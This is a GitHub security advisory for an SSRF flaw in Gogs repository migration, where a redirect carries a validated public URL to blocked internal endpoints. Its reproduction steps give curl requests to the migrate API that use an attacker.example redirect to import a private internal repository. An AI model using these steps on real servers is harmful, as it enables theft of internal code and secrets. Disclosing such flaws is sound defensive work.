Skip to content

Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft

High severity GitHub Reviewed Published Jun 19, 2026 in gogs/gogs • Updated Jul 21, 2026

Package

gomod gogs.io/gogs (Go)

Affected versions

< 0.14.3

Patched versions

0.14.3

Description

Migration URL validation bypass via HTTP redirect to blocked internal endpoints

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.

Vulnerability Details

The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:

  1. Attacker submits http://attacker.example/redirect.git — passes validation (public hostname).
  2. Attacker's server responds with 302 redirect to http://127.0.0.1:18081/victim/private.git.
  3. Git follows the redirect and clones the internal repository.
  4. Gogs imports the cloned contents into the attacker's new repository.

The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.

Impact

This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:

  • Steal source code and secrets from internal repositories served over HTTP.
  • Scan internal network services via the migration endpoint.

Reproduction Steps

Prerequisites: a Gogs instance, an attacker account that can create repositories.

  1. Start a local HTTP Git server with a test repository on 127.0.0.1:18081.
  2. Start a redirect server that responds to any request with a 302 redirect to http://127.0.0.1:18081/victim/private.git.
  3. Verify the direct localhost URL is blocked:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
  "${GOGS_URL}/api/v1/repos/migrate"

Result: rejected as blocked local address.

  1. Submit a public-looking URL that redirects to the blocked endpoint:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
  -H "Content-Type: application/json" \
  --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
  "${GOGS_URL}/api/v1/repos/migrate"

Result: migration succeeds. The new repository contains the internal repository's contents.

References

@unknwon unknwon published to gogs/gogs Jun 19, 2026
Published to the GitHub Advisory Database Jun 23, 2026
Reviewed Jun 23, 2026
Published by the National Vulnerability Database Jun 24, 2026
Last updated Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(31st percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-52805

GHSA ID

GHSA-g2f5-gjr4-qjvm

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.